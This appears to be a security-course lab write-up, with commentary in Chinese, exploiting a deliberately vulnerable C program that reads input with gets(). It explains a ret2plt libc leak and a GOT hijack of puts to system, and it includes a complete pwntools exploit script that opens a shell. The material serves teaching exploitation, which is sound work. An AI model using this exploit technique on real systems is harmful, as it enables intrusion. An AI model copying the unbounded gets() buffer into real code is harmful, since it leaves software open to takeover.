Simple PWN 0x34 (2023 Lab - ret2plt)

Simple PWN 0x34 (2023 Lab - ret2plt)

Background

Got Hijack / BoF

Source code

1
2
3
4
5
6
7
8
9
10
11
//gcc -no-pie -fno-stack-protector -z norelro ret2plt.c -o ret2plt
#include <stdio.h>
#include <stdlib.h>

int main(){
	char buf[20];
	setvbuf(stdout,0,2,0);
	printf("Try your best :");
	gets(buf);
	puts("boom !");	
}

Recon

  1. checksec + file
    1
    2
    3
    4
    5
    6
    7
    8
    9
     $ checksec chal
     [*] '/mnt/d/NTU/Second Year/Computer Security/PWN/Lab2/lab_ret2plt/share/chal'
         Arch:     amd64-64-little
         RELRO:    No RELRO
         Stack:    No canary found
         NX:       NX enabled
         PIE:      No PIE (0x400000)
     $ file chal
     chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7ed984819a3908eff455bfcf87716d0fb298fac, for GNU/Linux 3.2.0, not stripped
    

    首先知道這隻binary是動態link library,所以可想而知,rop gadget一定少的可憐,所以我們不太能夠直接像上一題一樣暴力開一個shell出來,程式也沒有幫我們開,讓我們可以直接跳過去

  2. 還是有很明顯的BOF的漏洞,此時就可以嘗試類似got hijack的方式打看看 流程:
  3. 首先我們要知道libc base address才能夠利用扣掉offset的方式跳到system的地方,但是程式中並沒有能夠直接leak base address給我們的東西,因此我們可以自己想辦法leak: ==ret2plt==
    1
    2
    3
     pop rdi ret
     puts got address
     puts plt
    

    這三行的意思是把puts的got address,透過puts印出來給我們 -> puts(put自己的got address)

  4. 有了puts的got address之後,就可以扣掉puts在libc的offset,就可以知道base address,然後我們可以知道system的確切address
    1
    2
    3
    4
    5
     # leak puts got address to calculate libc base address
     puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
     libc_base = puts_addr - libc.symbols['puts']
     libc.address = libc_base
     system_addr = libc.symbols['system']
    
  5. 現在的問題有兩個,一個是我們要怎麼把==/bin/sh==送進去,因為如果直接看binary的gadget沒有/bin/sh或是/sh的string,不過我們可以直接用同樣的方法,把字串送進去
    1
    2
    3
    4
     # fetch user input -> /bin/sh\x00
     pop_rdi_ret
     bss_addr
     gets_plt,
    

    此時他就會像使用者要輸入,並把我們的輸入丟到bss address

  6. 另外一個問題就是我們要怎麼呼叫==system==,因為這個binary是動態的,代表一開始沒有link到system的話就不能直接呼叫,因此我們可以利用同樣的方法達到==got hijacking==
    1
    2
    3
    4
     # fetch user input -> system address
     pop_rdi_ret
     puts_got
     gets_plt
    

    此時我們可以輸入system的address,經過這三行後我們就成功把puts got address換成system got address

  7. 所有工具都準備好了,接下來只要呼叫puts就可以了,實際上就是呼叫system
    1
    2
    3
    4
     # system('/bin/sh\x00')
     pop_rdi_ret
     bss_addr
     puts_plt
    

Exploit - Ret2Plt(leak base address) + Got Hijack(call system)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

r = process('./chal')
# r = remote('10.113.184.121', 10053)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'

pop_rdi_ret = 0x0000000000401263
puts_got = 0x403368
puts_plt = 0x401070
gets_got = 0x403378
gets_plt = 0x401090
bss_addr = 0x403f00
payload = flat(
    # leak puts got address to calculate libc base address
    pop_rdi_ret,    puts_got,
    puts_plt,

    # fetch user input -> /bin/sh\x00
    pop_rdi_ret,    bss_addr,
    gets_plt,

    # fetch user input -> system address
    pop_rdi_ret,    puts_got,
    gets_plt,

    # system('/bin/sh\x00')
    pop_rdi_ret,    bss_addr,
    puts_plt
)
raw_input()
r.sendlineafter(b'Try your best :', b'a' * 0x28 + payload)
print(r.recvline())

puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
log.info(f"puts address = {hex(puts_addr)}")

libc_base = puts_addr - libc.symbols['puts']
libc.address = libc_base
system_addr = libc.symbols['system']
log.info(f'system address = {hex(system_addr)}')
r.sendline(b'/bin/sh\x00')
raw_input()
r.sendline(p64(libc.symbols['system']))

r.interactive()